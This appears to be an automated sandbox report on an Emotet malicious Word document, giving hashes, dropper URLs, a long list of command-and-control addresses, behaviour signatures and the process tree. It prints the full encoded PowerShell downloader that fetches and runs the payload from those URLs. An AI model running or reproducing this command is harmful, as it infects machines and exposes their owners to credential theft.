emotet | 5b90408d4dc272f4943f37e60d8892e8663d56e2b299acec7cc5d8ad5be7a40c

Analysis

max time kernel
137s
max time network
145s
platform
windows10_x64
resource
win10v200722
submitted
04/09/2020, 18:45

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General

Target
emotet_e2_5b90408d4dc272f4943f37e60d8892e8663d56e2b299acec7cc5d8ad5be7a40c_2020-09-04__184320._doc.doc
Size 241KB
Sample200904-sjgga4bd2x
SHA256 5b90408d4dc272f4943f37e60d8892e8663d56e2b299acec7cc5d8ad5be7a40c
MD5 031fd8697cb16e080cfff07ba568e54e
SHA1 d2a7f1c9536f4d1b2e8fa5b3c593885c8fd3e076
SHA512 83d2e8716535d39023750049b91609e1d9d221c69872c1476003d8aa195d71a56574008a2155056030a5b759b63e2420144b4260e71868cdff32f26da2aa34f6
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://moasocialcoop.com/wp-includes/u1weym/
exe.dropper
http://n-brake.com/aspnet_client/WiifnrD/
exe.dropper
https://www.royalsr.in/assets/jZphN4/
exe.dropper
http://online-inet.de/modules/AasIt/
exe.dropper
http://nikniek.nl/cgi-bin/7a4Y/
exe.dropper
http://exagono.com.mx/img/f/
exe.dropper
http://mlrodasepneus.com.br/index11/Cwn/

Extracted

Family

emotet

192.158.216.73:80
85.214.28.226:8080
142.44.137.67:443
162.241.242.173:8080
85.152.162.105:80
62.30.7.67:443
78.24.219.147:8080
74.120.55.163:80
169.239.182.217:8080
216.208.76.186:80
95.213.236.64:8080
200.114.213.233:8080
104.131.44.150:8080
70.121.172.89:80
75.139.38.211:80
185.94.252.104:443
97.82.79.83:80
103.86.49.11:8080
79.98.24.39:8080
83.169.36.251:8080
188.219.31.12:80
74.208.45.104:8080
137.59.187.107:8080
174.45.13.118:80
194.187.133.160:443
50.81.3.113:80
201.173.217.124:443
139.99.158.11:443
68.188.112.97:80
113.160.130.116:8443
173.62.217.22:443
139.130.242.43:80
190.160.53.126:80
137.119.36.33:80
209.141.54.221:8080
24.179.13.119:80
120.150.60.189:80
107.5.122.110:80
121.124.124.40:7080
203.153.216.189:7080
157.245.99.39:8080
85.105.205.77:8080
173.81.218.65:80
110.145.77.103:80
47.144.21.12:443
95.179.229.244:8080
187.161.206.24:80
46.105.131.79:8080
189.212.199.126:443
168.235.67.138:7080
24.137.76.62:80
85.66.181.138:80
200.41.121.90:80
5.39.91.110:7080
104.236.246.93:8080
172.91.208.86:80
99.224.14.125:80
37.139.21.175:8080
109.74.5.95:8080
1.221.254.82:80
61.19.246.238:443
5.196.74.210:8080
67.205.85.243:8080
79.137.83.50:443
94.200.114.161:80
70.180.43.7:80
190.55.181.54:443
47.146.117.214:80
89.205.113.80:80
37.187.72.193:8080
84.39.182.7:80
104.131.11.150:443
139.162.108.71:8080
87.106.136.232:8080
153.232.188.106:80
37.70.8.161:80
112.185.64.233:80
87.106.139.101:8080
94.23.237.171:443
24.43.99.75:80
203.117.253.142:80
98.109.204.230:80
93.147.212.206:80
91.211.88.52:7080
139.59.60.244:8080
176.111.60.55:8080
180.92.239.110:8080
62.75.141.82:80
174.102.48.180:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2052	1660	powershell.exe	71

Blacklisted process makes network request 1 IoCs

flow	pid	Process
20	2052	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3904	J0yzkor5.exe
3616	sppcext.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDSYR2\sppcext.exe	J0yzkor5.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
856	WINWORD.EXE
856	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2052	powershell.exe
2052	powershell.exe
2052	powershell.exe
3616	sppcext.exe
3616	sppcext.exe
3616	sppcext.exe
3616	sppcext.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2052	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE
3904	J0yzkor5.exe
3904	J0yzkor5.exe
3616	sppcext.exe
3616	sppcext.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 3904	2052	powershell.exe	77
PID 2052 wrote to memory of 3904	2052	powershell.exe	77
PID 2052 wrote to memory of 3904	2052	powershell.exe	77
PID 3904 wrote to memory of 3616	3904	J0yzkor5.exe	79
PID 3904 wrote to memory of 3616	3904	J0yzkor5.exe	79
PID 3904 wrote to memory of 3616	3904	J0yzkor5.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_5b90408d4dc272f4943f37e60d8892e8663d56e2b299acec7cc5d8ad5be7a40c_2020-09-04__184320._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:856

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABVAGQAYwAyAGIAZAB6AD0AKAAnAEMAYwAnACsAJwBpAG0AJwArACgAJwBkACcAKwAnADUAMAAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBQAFIATwBmAEkAbABFAFwAWgBPADcANgBrAEYAdwBcAEwAVgBKAGsAYQBWADMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAVQBgAFIAaQBgAFQAYABZAFAAUgBvAHQATwBjAGAATwBsACIAIAA9ACAAKAAnAHQAJwArACcAbABzACcAKwAoACcAMQAyACcAKwAnACwAIAAnACkAKwAnAHQAJwArACgAJwBsAHMAMQAnACsAJwAxACwAJwArACcAIAB0AGwAcwAnACkAKQA7ACQAQgBpAGkAcABxADEAZwAgAD0AIAAoACgAJwBKACcAKwAnADAAeQB6ACcAKQArACgAJwBrACcAKwAnAG8AcgAnACkAKwAnADUAJwApADsAJABEADIAdgA4AHUAbgByAD0AKAAoACcATAB3AG4AeAAnACsAJwBxACcAKQArACcAbwA4ACcAKQA7ACQAWgB1AHIAaABnAGYANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBCACcAKwAoACcAdQAnACsAJwB5AFoAJwApACsAKAAnAG8ANwAnACsAJwA2AGsAJwApACsAJwBmACcAKwAoACcAdwBCACcAKwAnAHUAJwArACcAeQAnACsAJwBMAHYAagBrAGEAdgAnACkAKwAnADMAJwArACgAJwBCACcAKwAnAHUAeQAnACkAKQAgAC0AUgBFAHAATABBAEMARQAgACgAWwBDAEgAQQByAF0ANgA2ACsAWwBDAEgAQQByAF0AMQAxADcAKwBbAEMASABBAHIAXQAxADIAMQApACwAWwBDAEgAQQByAF0AOQAyACkAKwAkAEIAaQBpAHAAcQAxAGcAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAMwBpADgAawBqAHcAPQAoACgAJwBSADgAYwAnACsAJwA5AGQAcgAnACkAKwAnAHAAJwApADsAJABZAGEANgBiAGwAdABrAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAHcARQBiAGMATABpAGUAbgB0ADsAJABJADkAcQBsAHYAbQBpAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwADoAJwArACcALwAvACcAKwAoACcAbQBvACcAKwAnAGEAcwBvACcAKQArACgAJwBjAGkAJwArACcAYQBsAGMAJwApACsAKAAnAG8AJwArACcAbwBwACcAKQArACcALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwAC0AaQAnACkAKwAnAG4AJwArACcAYwBsACcAKwAoACcAdQBkACcAKwAnAGUAJwApACsAJwBzACcAKwAoACcALwB1ADEAdwAnACsAJwBlAHkAbQAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvACcAKwAnAC8AbgAtACcAKQArACgAJwBiAHIAJwArACcAYQAnACkAKwAnAGsAZQAnACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtACcAKwAnAC8AYQBzACcAKwAnAHAAbgAnACkAKwAoACcAZQB0ACcAKwAnAF8AYwBsACcAKQArACcAaQAnACsAJwBlACcAKwAoACcAbgB0ACcAKwAnAC8AVwAnACsAJwBpAGkAJwApACsAJwBmACcAKwAnAG4AJwArACcAcgAnACsAKAAnAEQALwAnACsAJwAqAGgAdAAnACkAKwAoACcAdABwACcAKwAnAHMAJwArACcAOgAnACsAJwAvAC8AdwB3AHcALgByAG8AJwApACsAJwB5AGEAJwArACgAJwBsACcAKwAnAHMAcgAuAGkAJwArACcAbgAvAGEAcwBzAGUAJwApACsAKAAnAHQAcwAvAGoAJwArACcAWgBwAGgAJwArACcATgA0AC8AJwApACsAKAAnACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAOgAvAC8AbwAnACsAJwBuAGwAJwApACsAJwBpACcAKwAoACcAbgBlAC0AJwArACcAaQAnACsAJwBuAGUAdAAnACsAJwAuAGQAZQAvAG0AJwArACcAbwBkAHUAbABlAHMALwBBACcAKwAnAGEAcwAnACsAJwBJACcAKwAnAHQAJwApACsAKAAnAC8AJwArACcAKgBoAHQAdABwADoALwAvACcAKQArACgAJwBuAGkAawAnACsAJwBuACcAKQArACgAJwBpAGUAJwArACcAawAuACcAKQArACcAbgBsACcAKwAoACcALwBjAGcAaQAtACcAKwAnAGIAJwArACcAaQBuAC8ANwAnACsAJwBhADQAJwArACcAWQAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AZQB4ACcAKQArACgAJwBhAGcAbwBuACcAKwAnAG8ALgBjACcAKQArACcAbwBtACcAKwAnAC4AJwArACcAbQAnACsAKAAnAHgAJwArACcALwAnACsAJwBpAG0AZwAvAGYAJwApACsAJwAvACcAKwAnACoAJwArACcAaAAnACsAKAAnAHQAdABwACcAKwAnADoAJwArACcALwAvACcAKQArACcAbQBsACcAKwAoACcAcgBvAGQAYQBzACcAKwAnAGUAJwArACcAcABuACcAKQArACgAJwBlAHUAJwArACcAcwAuAGMAbwBtACcAKwAnAC4AYgAnACkAKwAnAHIAJwArACgAJwAvAGkAbgBkAGUAJwArACcAeAAxACcAKwAnADEALwAnACkAKwAnAEMAJwArACcAdwAnACsAJwBuAC8AJwApAC4AIgBzAHAAYABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAMwA5AG0AZQBrAHQAPQAoACcAVQAnACsAKAAnADYAeABoACcAKwAnAHcAOQAnACkAKwAnADkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASAB2AG8AeQBkAGcAaQAgAGkAbgAgACQASQA5AHEAbAB2AG0AaQApAHsAdAByAHkAewAkAFkAYQA2AGIAbAB0AGsALgAiAEQATwBgAHcAbgBsAE8AQQBEAEYASQBgAEwARQAiACgAJABIAHYAbwB5AGQAZwBpACwAIAAkAFoAdQByAGgAZwBmADYAKQA7ACQAVABfAHYAdwBqADgAegA9ACgAJwBEADkAJwArACgAJwBoAHkAawAnACsAJwB0AG8AJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAWgB1AHIAaABnAGYANgApAC4AIgBMAGUATgBgAGcAVABoACIAIAAtAGcAZQAgADMAOQA1ADMAOQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABaAHUAcgBoAGcAZgA2ACkAOwAkAFQAbwB5AHIAdgB2AHAAPQAoACcATwBlACcAKwAoACcAcAB3ACcAKwAnAG8AYQAyACcAKQApADsAYgByAGUAYQBrADsAJABOAGcAZQA4ADQAbgBtAD0AKAAnAEIAJwArACgAJwBnAGcAYwA2ACcAKwAnAG8AaQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBhADYAdQBqAGMAZwA9ACgAJwBFACcAKwAoACcAbgAnACsAJwAxADMAJwApACsAKAAnAGoAagAnACsAJwAyACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Users\Admin\Zo76kfw\Lvjkav3\J0yzkor5.exe
  "C:\Users\Admin\Zo76kfw\Lvjkav3\J0yzkor5.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3904
- - C:\Windows\SysWOW64\KBDSYR2\sppcext.exe
    "C:\Windows\SysWOW64\KBDSYR2\sppcext.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/856-1-0x000001CB0F769000-0x000001CB0F76E000-memory.dmp

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memory/856-2-0x000001CB0F769000-0x000001CB0F76E000-memory.dmp

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memory/856-3-0x000001CB0F97F000-0x000001CB0F984000-memory.dmp

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memory/856-4-0x000001CB0D26B000-0x000001CB0D270000-memory.dmp

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memory/856-5-0x000001CB0F97E000-0x000001CB0F97F000-memory.dmp

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memory/856-6-0x000001CB0F97F000-0x000001CB0F984000-memory.dmp

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memory/856-7-0x000001CB0F97F000-0x000001CB0F984000-memory.dmp

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memory/856-8-0x000001CB0F97F000-0x000001CB0F984000-memory.dmp

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memory/856-0-0x00007FFAD67D0000-0x00007FFAD6E96000-memory.dmp

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memory/2052-10-0x000001F2B88B0000-0x000001F2B88B1000-memory.dmp

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memory/2052-11-0x000001F2D0C40000-0x000001F2D0C41000-memory.dmp

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memory/2052-9-0x00007FFAC98C0000-0x00007FFACA2AC000-memory.dmp

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memory/3616-19-0x00000000004C0000-0x00000000004CE000-memory.dmp

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memory/3616-20-0x0000000000920000-0x000000000092C000-memory.dmp

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memory/3904-15-0x0000000002200000-0x000000000220E000-memory.dmp

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memory/3904-16-0x0000000002210000-0x000000000221C000-memory.dmp

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